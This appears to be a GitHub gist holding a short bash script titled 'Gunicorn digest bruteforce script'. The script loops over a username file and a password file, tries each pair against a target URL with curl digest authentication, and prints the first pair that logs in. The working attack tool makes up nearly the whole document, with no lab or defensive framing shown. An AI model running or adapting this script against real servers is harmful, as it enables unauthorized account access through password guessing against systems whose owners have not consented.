Created
March 24, 2021 22:56
-
-
Save tbhaxor/09d4ba47e9a3b7291d37b01e221433ba to your computer and use it in GitHub Desktop.
Gunicorn digest bruteforce script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat $1 | while read USER; do | |
cat $2 | while read PASSWORD; do | |
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth" | |
then | |
continue | |
else | |
echo [+] Found $USER:$PASSWORD | |
exit 0 | |
fi | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment